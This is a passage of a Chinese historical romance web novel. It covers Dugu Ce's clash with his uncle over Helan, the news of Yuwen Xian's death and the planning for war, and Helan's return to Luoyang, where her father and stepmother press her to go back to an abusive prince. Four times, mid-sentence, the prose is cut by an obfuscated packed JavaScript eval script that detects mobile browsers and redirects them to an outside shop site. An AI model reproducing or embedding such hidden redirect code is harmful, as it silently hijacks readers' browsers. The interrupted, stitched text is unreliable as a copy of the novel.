若真的贺兰的人,倒也不用为难,不过他并没有打算放人,他还是很期待那个倔丫头放软姿态来求他的样子。心里不甘,又不得不忍着,真是越想越有趣。 可惜,这一次他又料错了。 晚膳时,独孤宗绪不期而至,一向不辨喜怒的脸上,带着显而易见的焦急和愤然。 独孤策见他失态,摆了摆手,示意仆从退下。 门扉轻阖后,独孤宗绪隐忍了多日的怒气,也终于爆发了。 “大王若想要阿荻,大可以直接开口,何必在臣面前玩这么多花样。” 独孤策见他如此情状,并无半分讶异,反而平静地坐在坐塌上,手里把玩着一个青玉茶盏。 “六叔向来雅致从容,今日这般,却是何故?” 观他面色,当真平静地无可指摘,似乎真不知情。独孤宗绪也没想到,当年那个把喜恶都写在脸上的少年,如何成了现在这个模样。 多疑,狠辣,霸道,喜怒无常。 独孤宗绪的脸色愈发难看。他并未落座,只站在灯树之旁,跃动的火光不安地落在他的眉宇之间,让他的眼眸看着一片晦暗。 “我知道,你一直放不下贺兰荻,可当初既然时你主动抛弃的她,就该知道覆水难收,何必想着旧梦重温。”独孤宗绪恨声道,“她如今是我的妾侍,大王这样做,可有将我这个六叔放在眼中。” 独孤策其实并不想与他多谈贺兰,毕竟在他看来,贺兰在太守府里,不过是受人逼迫的一个错误。 “纳妾也该有个纳妾的规矩,六叔一向崇尚汉人之礼,怎么到了贺兰这里便不作数了。”独孤策的唇角仍带着浅笑,应对从容又冷静,“据我所知,她不过是受了乞伏那归的逼迫,才入了你府中。不知六叔有没有问过她,她心中可情愿?” 明知他在强词夺理,但盛怒之下独孤宗绪还是失于急躁。 “不管她愿不愿意,她都是我的女人。” “六叔是君子,君子怎么也强人所难起来。”独孤策起身,走到独孤宗绪面前,轻轻拍了拍他的肩膀。 “六叔,强扭的瓜不甜,天下女子何其多,何必要执着于一个无心于自己的女人。” 独孤宗绪的脸色原先还是铁青,如今又转为苍白。 “这与你何干,难道她有心于你么?当初你抛下她,她会轻易释怀原谅?” “从名分上说,当初我离开,不过是情势所迫,我一日未休妻,她便一日是我的可贺敦。从情分上说,她若是心里没有我,如何那般拒绝六叔呢?我了解她,她不是个拖泥带水的人,若真的恨我,就不会和我再有牵扯,让我替她报仇。” “说起来,慕容泓胁迫她,她求助的人是我,为什么不是你……” 两人言语如刀剑,都想方设法地往对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608275|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心口扎,可惜在厚颜无耻这一点上,独孤宗绪承认,自己终究落了下风。 独孤策从小就是这样,受尽了偏爱,也占尽了上风。 “这就是将她夺走的原因吗?”独孤宗绪苦笑,方才的愤懑和怒火都已平息,取而代之的是心口无边的荒凉枯寂。 他清楚,今日的失态,并不是因为贺兰有多好,他对她有多执着。只是因为这些年,这样的事情太多太多了,他像一个不需要感情的工具,永远在成全着别人。 可他并不比独孤策差什么。 “叱奴,你太跋扈了。”他不再叫他大王,而是叫着他的乳名,他不想用那个尊贵的称呼来衬托自己的卑微,疏远他们的关系,“自你称王的那天起,我便为了避嫌,独自离开抚远城,来这里为你守关。当时你问我要什么,我是如何回答的?” 独孤策听他这样说,脸上笑意尽敛,沉默良久,才叹道:“你什么都不要,因为你不管要什么,都会被认为是恃功自傲。你只想建立一番自己的功业,哪怕最终受益的人是我。” “不错,叱奴,我一向不与你争的,可你为何总是咄咄逼人。” “你因为一点小事,便派使者来斥责我,借着大战之名,夺我手下骑兵三千,因为一点谗言,直接杀了我幕僚五人,还有,你看看我这小小的燕关,究竟藏了多少你的心腹。叱奴,这就是你所说的手足之情……” “现下,你连个女人也要与我抢夺吗?” “六叔,你或许对我有些误会……”话是如此说,但看着独孤宗绪的脸色,独孤策知道此时此刻一切解释都会显得苍白。 于是便又问道:“贺兰怎么了?你总该把话说清楚,不然我又怎知要给你交待些什么。” 他像是真不知道发生了什么。 独孤宗绪半信半疑,迫着自己舒缓着情绪,缓声道:“贺兰不见了,你当真不知情?” 独孤策愣了一下,旋即却笑了:“不见了就去找,燕关又不是寻常城池,她一个小女子能逃到哪里?六叔为了一个女人,不该如此失态。” 正是因为燕关防守周密,他才会疑心人是被独孤策藏起来的。 独孤宗绪对他的嘲讽并不在意,他自己清楚,他不过借着贺兰的事,抒发着积攒多时的怨气。 他们之间芥蒂太深,就像是浓疮痈疽,总有一天得挑破,不然就有伤筋动骨的危险。 “若真当她只是寻常女子,那大王就更不该多做纠缠,”他的双眸在烛火的恍惚中泛着破碎的光芒,“你是主上,我是臣子,传出去损伤的只会是你的颜面。” 独孤策没接话,茶色的眼眸里却掠过几分不悦之色,他用浅笑将其掩藏,声音淡淡的:“让她自己做主岂不更好,六叔怎会对自己如此没有信心。” 见独孤宗绪神色颓然,到底也没说太重的话,想了想还是道:“六叔放心,她出不了燕关,或许受些苦,自己就回来了。” 话音未落,却听到叩门声响起,木咄的声音随后传来。 “大王,绥宁城有动静了。” 独孤策并没有想避着独孤宗绪,睇了他一眼,扬声道:“有话进来说吧。” 19. 十九、长亭远 木咄没有开口,只是默默递上了一封密函。 独孤策展开帛书,略扫了几眼,忽然眉心一跳,眼中闪过惊讶又喜悦的光芒。 “宇文献死了。”未等独孤宗绪开口相问,他直接开口。 独孤宗绪的惊讶不比他少,怔了一下,问:“宇文献尚在壮年,这……如何死的?” “幼子宫变,谋逆弑父。”独孤策说完,将帛书扔给了独孤宗绪,而自己在屋中踱了几步后,缓缓坐了下来。 夜色沉沉压了下来,几缕风声拂过阶前草木,携了幽微的香气穿堂入室,在烛火上旋了几息,荡出一阵缭乱的动静。 等了这么久,终于等到了绝佳的机会,可这个机会该如何把握?方才的激动和亢奋慢慢平静了下来,独孤策认真思索起了目前的局面。 独孤宗绪皱眉看着他,也选择了沉默。他也清楚,这个机会出现的太过突然,突然到足以打破原有的安排,一旦把握不好,更会让人惋惜。 “六叔如何看?”半晌后,独孤策终于开了口,没有绕弯子,问得直白。 独孤宗绪看着这张年轻又诚挚的面孔,几句话在嗓子上翻滚了几次,终于以同样坦诚的方式说了出来。 “虽说机不可失,时不我与,但仍不宜草率出兵。” “为何?” “绥宁城固若金汤,兵力远胜于我们,况且骑兵不善攻城,又该如何得胜?”独孤宗绪回答。 一番话说完,却见独孤策沉默地看着自己。他的双眸在火光下犹如一汪寒潭,深而冷。却又吸引着人与他对视。 偏偏不可逼视。 忽然,独孤策的唇角绽出一个笑容,这个笑容很快蔓延到了他的眉梢眼底,让他看着颇为愉悦:“六叔果然与我心有灵犀。” “我亦觉得,时机虽到,却不可急功冒进。” 说完,他扬声吩咐木咄,连夜召集在燕关的部将,于堂室中商议下一步的计划。 “宇文献为幼子所杀,这是真的吗?别不是老匹夫的奸计?” “绥宁城的探子皆是赵先生一手培养,忠心不二,你难道在质疑先生的能力?” “哪怕宇文献死了,绥宁城仍旧铁桶一般,听说当年建城时杀了不少工匠,此时去强攻时机虽好,但也并没有完全把握。” “我代国铁骑何曾怕过这些,强攻有何不可。这般好时机若是错过了,恐怕再难有了。” “的确是好时机,机不可失……” 灯火昏深处,独孤策摸着下巴,久久不语。烛光将他的轮廓衬得深邃,那双本就漂亮的眼眸,敛起情绪,望着越发莫测。 屋中诸将吵成一团,听来听去不过还是在绕着攻与不攻争论。 不管宇文献身死是真是假,绥宁城都是要攻的。这场大战他等了太久,久到已经没有耐心了,连宇文部都无法征服,他又谈什么问鼎天下。 可是越到这个时候就越急不得,宇文献新死,绥宁城却未骤乱,说明有人控制住了局势,且对他趁机来攻已经有了准备。何必急于一时,宇文部大乱会随着宇文献的死传开而真正到来,他需要等的正是这个时机。 不过他不能直说,削了士气就不好了。 独孤策的眸光冷冷扫过众将,虽未言语,但众人皆不敢再多言,纷纷停下来只看着他,等着他说话。 “春寒料峭,也不知先生在洛城可有受寒。”没头没脑的一句话从他口中说出,有些突兀。 “洛城和暖,怎会受寒。”乞干昌嘴快,接完话后见大家都在看他,讪讪闭上了嘴。 有人机敏,立刻就听出了独孤策的意思,进言道:“不如让人去洛阳,将先生接回来。大战在即,有先生筹谋,也更多胜算。” 独孤策浅笑着,故作思考后,点头同意了。 “大战在即,机会稍纵即逝,哪里等得!”偏有人没明白,焦急地说道。 独孤策剑眉微挑,没有多解释,又思虑起另一个问题。 除了出兵之机,此次出征的主将人选也很重要。 乞干昌勇猛有余,谋略不足,段央守城尚可,攻伐无力,长孙执年迈,高昆尚稚嫩,经验不足…… 独孤策的目光又投向了独孤宗绪。 骁勇果决,机巧善变,没有谁比他更合适。可是…… 不知为何,心头弥漫着一种奇怪的感觉,心弦微动,刚要出口的话硬生生被咽了回去。时移世易,他与独孤宗绪,到底不似当年。 “汉人典籍里有句话,‘慎终如始,则无败事’,我们和宇文部交手多次,各有胜负,这次无论如何都不可轻敌。” 他舒展了眉心,露出一个颇从容的笑,扬声道:“若攻破绥宁城,灭了宇文部,便为不世之功。孤知诸位皆有建功立业之心,不如这样,各位可回去好好想想破敌良策,等先生返回之日,便是我们出战之时,到时用谁之计,谁便是此次攻城主帅。” “诸位以为如何?” 他说完,扫了一圈众人的表情,有人跃跃欲试,有人双眉深锁,有人欲言又止……只有独孤宗绪,听完这句,似笑非笑,不明其意。 …… 贺兰从燕关离开的那一日,是个晴空万里的好天气。笔直的官道上,垂杨泛出清浅的绿意,一路向着远处蜿蜒。 她回头又望了一眼。 阙楼高耸,城墙坚厚,当真是个雄关,只是她今后不会再踏足这里半步。流离了这么久,也该有个安身之所了。 沉思间,忽觉一道目光如箭矢般刺向了她。贺兰渺然相顾,只见城墙之上不知何时出现了一个高大挺拔的身影,虽然隔得远,但依依能辨出那就是独孤策。他负手远望,孑然独立的样子显得高傲又孤清。 或许是错觉,他怎么可能看得到自己,还是这个混在队伍中,乔装的面目全非的自己。 但她还是心虚,匆忙低下头,脚步都带了几分慌乱。 他们之间缘尽于此…… “怎么,舍不得?”马车上的人掀起帘幕,讥讽道。 贺兰愣了一下,抬眼时又带上了温婉到有些虚假的笑:“殿下说笑了,逃出樊笼的动物,都不会舍不掉那个关着它的笼子。” 对方看着她,忽然低声笑了:“也对,你这般铁石心肠的女人,怕是不会留恋任何东西。不管是人还是事,在你眼中,都是看能不能利用的吧。不过……” 他顿了顿,好奇追问:“不管是跟着独孤宗绪,还是跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623891|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着独孤策,你都会过得不错,何必要求着本王带你回洛阳。难道洛阳藏着你的小情郎,让你放不下?” 他说话实在不中听,贺兰刚想反唇相讥,抬眼看了看,唇角弯得更大了:“我的情郎,难道不是你陈留王殿下吗?” 慕容泠一听,立时就拉下了脸,环顾着四周,压低声音道:“你可别乱讲……本王哪里敢招惹你这样的妖孽。本王马上要迎娶清河崔氏的贵女,你再胡言乱语,休怪本王不客气了。” 贺兰见他如此,笑得越发开怀。 这个陈留王阴恻恻的,她才懒得与他有什么瓜葛,不过是迫切想要离开燕关,又担心外面兵荒马乱的,所以借他的身份回洛阳罢了。早知道他的软肋在这里,她才不会由着他阴阳怪气的嘲讽自己呢。 “殿下放心,回到洛城,我无事不会找你的。” …… 今日送亲使要离开,出于礼节,独孤策将他们送到了府门外。慕容泠拱手笑道:“代王何必客气,或许过些日子,还是本王送亲至此,到时代王可还愿意亲自前来结亲?” 独孤策不置可否的笑了笑,并未回答。 队伍缓缓启程,他望着那些远去的人马,鬼使神差地想到了那个不辞而别的女人。她离开的果断干脆,只带了一个贴身的侍婢,人间蒸发般消失在了戒备森严的太守府。依她的性子,这件事想必计划了许久,周密的看不出任何痕迹和破绽,无人能猜到她去了哪里。 她在报复自己当初的不告而别吗?或者正如她所言,她看不到他们之间的未来。 她太悲观了,分明他已不复当年,只要他肯,什么做不到,莫说给她一个安定的生活,便是可贺敦的位置,他想给谁也拦不住。 孤城空寂,不知不觉就走到了城楼处,送亲队伍行得那样慢,迤逦在官道之上,仿佛一条蜿蜒远去的蛇蟒。 绿杨深处,短亭隐隐,长亭遥遥,无端让人惆怅。 “大王,那个医女如何处置?”木咄见独孤策露出伤怀之色,心中对贺兰十分不满,趁此机会进言道,“不如杀了算了……” 收拾不了她,教训一下她身边的人也好。 独孤策远顾的目光收回,凉凉地落在木咄的脸上:“你这满口打打杀杀的毛病,是跟谁学得……” 说罢又睨了木咄一眼,道:“多把心思用在大事上,和一个妇人上计较,何必呢?” “那……放了?”木咄噎了一下,挠了挠头,试探道。 独孤策没回答,快走了几步,一直到了城墙下,忽然转头吩咐道:“让看守她的人看得松些,至于能不能逃出去,那就看她的本事了。” “这又是为何?”木咄追问。 他并不算聪明,但是凡事都愿意多问一句,一则表现的忠心耿耿,二则也不会自作主张闯大祸。这才是他在大王身边的立足之本。 独孤策拂了拂衣摆上的尘埃,言语放得自在:“抓到孤手里的人,还没有轻易放出的。传出去,他们还以为孤是多心慈手软的人……” 木咄这次听明白了,大王终究还是放不下那个女人,由着她左右自己的情绪,偏还嘴硬不肯承认。 讷讷地答应了一声,立刻就去吩咐了。 20. 二十、燕归巢 贺兰回到洛城时,已是仲春时节,丰庆里的桃花已经凋谢了大半,散落在巷子口,仿佛是为迎接她回归而特意铺就得。 她将马系在府门外的一株垂柳上,拍了拍身上的尘土,又理了理头上的发髻,然后试探着去敲门。 门很快就开了,一个老仆露了半颗脑袋出来,好奇地打量着眼前这个身着男装的漂亮女郎,口中道:“女郎是要找谁?” 贺兰笑得和气,回答道:“烦请通报家主,就说青芜回来了。” 老仆见她面善,又与家主颇为熟稔的样子,引她到门房处坐了,请她稍待片刻去传话。 贺兰没坐,只是站在门口,仔细地打量着这座她从未来过的府邸。 影壁旁,几尾翠竹遮住了通往府中的小径,森森翠色在日光的照耀下,遮出一片清凉幽静地所在,不远处,依依可以窥到雕墙峻宇,比屋连甍,虽称不上豪奢,却亦有匠心巧妙之处,一看就符合南人之喜好。 不多时,迎上来一个侍女,见贺兰先行了个礼,然后客气道:“家主尚未回来,夫人请女郎移步后堂。” 贺兰听她这样说,神色黯淡了几分,却不好拂了别人的好意,便携着素商一路进了内院。 内院确是另一番样貌,齐整整的屋宇依次排开,每一间院落都疏阔轩敞,俨然又是北地之俗。 也不知跨了几重门,才终于来到正房。 贺兰抬头,细细观察,只见院中嘉木扶户,花蕊被庭,尤其是海棠开得异常娇艳,可见向阳花木,更夺春光。 那侍女将她领到此处,便告辞离开,换了一个鲜卑侍女带她入门。那女子身着罗绮,发饰金玉,比寻常人家的主母打扮的都体面奢侈。一见贺兰,她便笑道:“夫人等了多时,女郎快些进来吧。” 贺兰看着她的笑脸,一时有些恍惚,仿佛又回到了儿时,仿佛等她回来的仍是她的生母陆氏。 咽下了哽在喉口的酸楚,她轻轻应了一声,抬步走了进去。 屋中有些昏暗,一个华服妇人坐在上首,看不清轮廓,依稀嗅到空中拂动着幽幽檀香气。博山炉里升腾而起的香雾缭绕在她身边,让她的姿态看着十分雍容。 这应该就是段夫人了,虽未见过,但阿父的信中时有提起。 “你便是芜娘……”妇人开口,汉话说得并不好,听着语调十分奇怪。 贺兰跪下行礼,口中叫了声“阿母”,这一声出来的并不顺畅,仿佛生了荆棘般,刺在了喉口,滚出时有生涩的痛意。 妇人见她礼仪周全,笑着应了,又对身旁侍立的仆从道:“听惯了苑儿喊我‘家家①’,这声‘阿母’听着倒是很新鲜。” 她口中的苑儿,便是阿父来北地后生下的女儿吧。贺兰起身后,没说话,也并没有更多的举动来表示亲密。 她心中忘不了阿母,没有办法心无芥蒂的接受阿父的新生活,何况这个女人姓段,是渤海王慕容泓的姨母。 段氏却表现的十分热情,上前来拉过贺兰的手,细细打量了一番,毫不掩饰惊艳与赞赏:“怨不得渤海王殿下念念不忘,原来竟是这般好颜色。别说他一个血气方刚的男儿,便是我见了都疼惜。” 瞧瞧,她都没提,别人就先提了。当初她以为阿父不过是一时糊涂,将自己又送到了慕容泓身边,现在想想,大抵也有这个妇人的出谋划策吧。 贺兰不动声色的抽回了自己的手,言语却找不到任何破绽,仍是笑语温婉:“阿芜粗陋,不知礼数,若是夫人不习惯这样的称呼,阿芜今后还是叫您夫人吧。” “这孩子,在自己家里这般守礼做什么,想叫什么便叫什么。在我这里啊,你和苑儿是一样的。”段夫人慈爱地拍着她的肩膀,笑声很是爽朗。 也是奇怪,她表现的越是亲近,贺兰的心里就越别扭。 不由抬头看向这位段夫人,带着困扰了自己很久的好奇与疑惑。 她好奇,这个段氏究竟有什么好,能让阿父城破妻亡后不到半年,就不顾名节的北地另娶。明明他那样在意他宗室的身份,和阿母也曾那般情深意笃。 不过一个略白皙些的中年妇人罢了,不要说与阿母那样的美人相比,就算是放在洛城大街上,也不过中人之姿。 她想不明白…… “郎君说稍晚些回来,不用等他用膳。”一个侍女入内,用鲜卑话说了这么一句。贺兰能听懂,却故作疑惑,只看着段氏。 段氏回了句:“知道了”,见贺兰不明就里,笑着解释道:“你阿父听说你今日回来了,心里高兴,说要等着你用饭呢。” 贺兰点头,乖顺地回应:“那我就等着阿父。” “你的住处我已让人收拾出来了,有些仓促,你先将就几天吧。”段氏点头,示意仆婢将她带去住处,脸上一直带着温暖的笑容。 无懈可击的笑容。 来到住处,贺兰才明白了她口中的将就是什么意思。逼仄的院落离正房颇远,离庖厨却近,人员往来频繁,嘈杂的连午睡都无法安生。 屋中陈设倒是不错,可惜一股子霉味,一看就是久不住人的地方。 面慈而心苦,段氏并不好相与,不过能这么快落了破绽,手段也算不得高明。 真正让她无法面对的,不是段氏,更不是府中拜高踩低的仆从,而是她的亲生父亲。 她顾念着骨肉之情,一次又一次的对他妥协,甚至为了他,被慕容泓威胁,去燕关用计。他若是还念着阿母,就该好好对自己,安享天伦之乐。 “段夫人似有隐瞒,”素商见仆从已退下,斟酌着说道,“奴可以听懂鲜卑话,她说得是家主会晚些回来,没有让娘子等着。” “此地不是燕关,叫我女郎就好。”贺兰劝她改个称呼,又说道,“先找些吃的吧,我有些饿了。” 素商见她仍有心情吃东西,便知她已然有了主意,于是不再多言,转身去了庖厨。 可惜,不过一会儿便回来了。 “厨下说,府中有规矩,家主不归,便不能开饭。”素商懊恼地回道。 贺兰坐在廊下逗着几株花草,听到素商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632140|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的回禀,嘲讽地扯了扯嘴角:“我阿父讲究最多,在宛城时就是如此,不过那时有阿母,我还是能讨到饭吃的。” 又不想素商过于灰心,宽慰道:“怎么办,总不好饿肚子,不如我带你去四通市吃些东西?听说那里有几家汤饼很是美味,我很早就想试试了。” 素商早就听闻洛城繁华,一向沉稳的她,此时也有些雀跃,进屋去了片刻,不仅带了披风,还摸了几吊钱。 “陈留王倒是有心,还知道给咱们留些钱,不然今天就要饿肚子了。” “他呀……他给他自己留后手呢。”贺兰说了这么一句,拿起披风便要出门。还好门房也只是象征性地阻拦了一下,就放她出去了。 北地女子没有太多闺训约束,大街上跑马而过的贵女大有人在,有些干脆连幂离都不戴,只做男子装扮,看着很是英姿飒爽。 出丰庆里,沿着铜驼街一路往南,洛阳城的繁华尽收眼底。铜驼街纵通南北,各色官署,寺院皆分布在这条路的两侧,素商只觉眼睛都顾不过来,看什么都新奇。见她如此喜悦,贺兰不免被感染,眼里浮出温柔的笑意。 一路向南,出宣阳门,便到了洛城南郭,一个热闹的市集立时出现在了眼前。 “这就是四通市?”素商看着往来不绝的各色商贾,蹦蹦跳跳道。 “可小声些,一会儿该被人嘲笑,哪里来的乡巴佬……”贺兰虽这样对素商说,但自己的欢喜也很快无法抑制,尤其是看到胡商手里的胭脂,几乎连道都走不动了。 她一贯爱美,也很喜欢打扮自己,可惜塞外胭脂色总单薄,质地也太粗糙。 曾经,独孤策也给她带回过胭脂。那胭脂一看盒子便知价格不菲,可他是个寡言的人,放下后便转身离开了,一句话都没有。贺兰也曾敷过那个胭脂,只是女为悦己者容,她的容色,他并没有时间去看,于是刚出现的一点心软,便也懒得再出现了。 贺兰在胭脂前久久出神,或许是被这么多色彩迷了眼,也或许只是想起了什么。纤手拈起一盒,想象着它扑在脸上时的样子,蓦然有些寂寥。 她大约不会再打扮自己了吧,不为其他,只是厌恶那个利用美色来挣扎求活的自己。 这一幕,尽数落在了另一个人眼中。 马车上瘦削干瘪的小老头,停车打量着这个本不该出现在此地的女子,微不可查的皱了皱眉。 “去查,贺兰氏为何出现在了洛城。”赵雍淡声吩咐。 “要告诉大王吗?”侍从询问道。 赵雍想了想,摇头:“大战在即,大王没有心思管这么多,只是这个女人狡猾得很,盯紧她,莫要坏事就好。” “不过一个女人罢了。”侍从不以为然。 “你何时也有这些俗见,提防她与她是不是女子有什么关系?”赵雍叱责道,“谨慎些,总能活得长久。” 说罢,再去看那处,那女子却像凭空消失了一般,难觅踪迹。 赵雍靠在车壁上,深思片刻后,吩咐车夫掉转车头,向宫城而去。 21. 二十一、冷风起 贺兰回府时,天色并未黑尽,可是府中严阵以待的肃穆气氛,却让她有种犯了大错的感觉。 “家主到现在还未用膳,”来接她的中年仆婢好意提醒,“像是生了气,女郎一会儿好好认个错吧。” 不知何时开始,记忆里那个总是和颜悦色的阿父就变了样子,也不知道他一天哪来那么多的气。 走到正房,果然看到了坐在胡床上,一脸严肃的萧恪。他官服未除,像是憋了一肚子的气,看着贺兰的眼神阴沉又凌厉。 “阿父,”贺兰稳了稳心神,上前行礼。 她神色温柔,垂眸敛目时,看着十分乖顺。 萧恪挪了挪发僵的身子,容色稍霁,但语气仍严厉:“这么晚了才归家,可有半分闺秀体统。你受你阿母亲自教导,难道连这些最基本的礼数都没学会?” 不提阿母还好,一提起贺兰的满腹委屈便横亘在胸口,化成一股浊气,上不来也下不去。她勉力平复着呼吸,仍不由红了眼睛。 “阿父教训的是,女儿再不敢了。”她最不喜欢在言语上占便宜,别人怎么说是他们的事儿,自己听不听全在自身。 萧恪摇头,对她这种态度仍不满意,但过于苛责也并非为父之道。 于是问了另一件事:“燕关那边出了什么岔子,怎么殿下会受那般重责,你又为何这个时候私自跑了回来?” 这才是他动怒的原因吧,什么夜半归家,不过是借题发挥。 贺兰一路上早将说辞想好了,应答地十分自如:“独孤策捉到了殿下身边的封阙,封阙是个软骨头,把殿下派他杀公主的事儿一股脑都交待了。女儿也受了牵连,被独孤宗绪幽禁在后宅里,差点被处死。女儿千辛万苦才逃了回来,可惜环夫人还是落在了他们手里,生死不明。” 事情本来就是如此,她不过如实说出罢了。 萧恪摸了摸下巴,俯视着巧舌如簧的女儿。她说得与传回的消息并没有太大出入,可是知子莫若父,芜娘不是个安分乖巧的人,她真会乖乖听命,没有横生枝节? 窥了一眼身边的段氏,到底将心里的疑惑咽了下去,没直白问出来。 可段氏听完解释,却骤然大放悲声,她抽抽噎噎地用帕子抹着眼泪,说道:“渤海殿下如何能做出那样的事儿,定是有人栽赃他……可怜他生母早亡,如今独自被幽禁在府中,也不知是何模样……” 萧恪有些不耐,却还是出言安慰道:“到底是陛下的长子,衣食定然无忧,只要陛下念着旧情,过些日子就会放出来的。” 段氏哭声越大了,不多会儿就湿了帕子:“可怜我姊姊,走得那样早,她要是知道孩子受了这么大的委屈,定是要责怪我的。” 说完,人就扑倒在萧恪的膝头,柔弱又可怜。 她身量高大丰腴,扮起柔弱来矫揉造作的厉害,贺兰麻木的看着这一切,心里冷笑,脸上却没暴露半分,只是无辜又可怜的随段氏一起跪下,抬着迷蒙的泪眼,看着萧恪。 “是女儿无用……”她的泪无声落下,看着自责极了。 萧恪不耐,揽住哭倒在地的妻子,又示意仆婢将贺兰扶起。 “这是做什么,殿下目下不过是被幽禁,只要先忍耐些时日,东山再起也不是不可能。”萧恪一面说,一面替段夫人拭泪。 段夫人抓住他的手,依依道:“殿下性子刚烈,就怕一时想不开……” “那……我们又能如何……” 段夫人的眼神落在贺兰身上:“殿下宠爱芜娘,若是能将芜娘送入王府陪伴,他定会心神安定,以图来日。” 贺兰悚然一惊,手心里已渗出了一层汗。 她看着萧恪,轻轻摇头,脸色灰白一片…… 空气里一时寂然,烛火浮动出的烟气,让贺兰胸口的那股气,不住往头上窜。 她有预感,阿父不会拒绝……若是会顾及她的感受,当初也不会一意孤行的将她亲手送到慕容泓身边。 阿母不在,阿父的爱也早就消失了吧。 可是她还存着一点微薄的希望,毕竟段氏的要求太过荒唐,但凡有头有脸的人家,谁会将女儿往这样的火坑里推。慕容泓是怎样乖戾的一个人,阿父不会不知道,他就算不顾念自己,也该顾念着他自己的脸面。 她仰着头,哀哀地看着阿父,仿佛仰望着一个救苦救难的神祇。 段氏见萧恪生了犹豫,决定添一把火,她走到贺兰面前,忽然向她跪了下来。贺兰慌得向后躲去,却被她紧紧攥住了手。 “芜娘,殿下一向宠爱你,如今他蒙难,你不该袖手旁观啊。况且你们汉人不是最讲忠贞么,你既然跟了他,便是他的人了,没道理如此无情……” 忠贞二字,仿佛一下子戳到了萧恪的心里,他看着贺兰,眼神都变了。 贺兰心慌,语气也变得焦急而凌厉:“夫人所说的宠爱,是指什么?是冬日里让我身着单衣跪在院中,让府中的下人嘲笑讥讽,还是将我绑在树上,用皮鞭差点将我打死……或者就像这次,为了他的野心,用我阿父的命来威胁我,让我去给别的男人用美人计!” 这些过往,她从未提起,不代表这一桩桩一件件没有烙印在她心里。 她好恨! 泪水簌簌而落,这次发自真心,难以自抑。 “芜娘……”萧恪的声音缓缓传来,贺兰以为会有怜惜,然而听在耳中却冷冰冰的,仿佛对一个陌生人。 不,陌生人也不该被如此对待,她在阿父心里不如一只猫,一条狗…… 心里的悲伤泼泼洒洒,却又绵绵密密。 “女子当从一而终,你或许受了些委屈,但着实不该心存怨恨。殿下如今蒙难,妻妾尽散,也是你的机会。锦上添花易,雪中送炭难,你这时对他温柔体贴些,他会记着你的好,定不会再像以前那样对你了。” 贺兰的泪就那样止住了,她着实不该对眼前这个男人存在太多幻想。他能举城投降,就不是什么忠义之人,能在阿母尸骨未寒时另娶,也不是什么有情有义的君子。段家和渤海王时他在大晋的依仗,为了他的前途,牺牲一个女儿又有什么。 “若说从一而终,我该从的也是独孤策,而不是强逼我的慕容泓。”贺兰的声音低沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644583|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙哑,整个人像抽干了灵魂般,颓得厉害。 提起独孤策,萧恪很不屑:“一个北地的胡虏,趁人之危强娶了你,这桩婚事如何算得了数。” 贺兰看着萧恪,就像看一个笑话:“都是鲜卑奴,有什么高低贵贱之分。” 这话自然也是对段氏所说的,连同这间屋子里的所有人,脸色都不算好看。 鲜卑奴,一个称呼,是骨子里的不屑和抗争。 “放肆!谁允许你忽然乱语!”萧恪敲着凭几,声音沉沉,“你已失节,有什么资格挑三拣四,是我纵的你太过任性了!” 失节……他原来这样看自己! “阿父说失节之女……”贺兰只觉胸口钝痛,如被人狠狠地捶打了一番,让她半晌也找不回呼吸的节奏。 她用手勉力撑着地面,弯腰平复着呼吸,一双眼睛却死死地看着这个熟悉又陌生的男人,这个给了她生命,也曾给过她关爱和教导的男人。 她想从对方的眼中读出心疼和后悔,想让他说自己不过是一时失言…… 可惜没有,他依旧端正文雅,风度翩翩,半分都没有失态。但是看着自己的眼神却带着一丝失望,一丝责备,还有……一丝嫌恶。 她流离多年,为了活着吃尽苦头,可是他却嫌弃她落在了他最不屑的蛮夷之手,失了名节。 他是不是忘了,他自己如今也在蛮夷手下过活。 贰臣罢了! 尽管浑身发抖,头脑昏沉,她却选择挺直了脊背,默默拭干了脸上的泪,对着萧恪露出一个嘲讽的笑。 这样古怪的笑容,衬在她苍白的脸上,无端诡异。 萧恪绷着的脸,微不可查地抖动了一下。 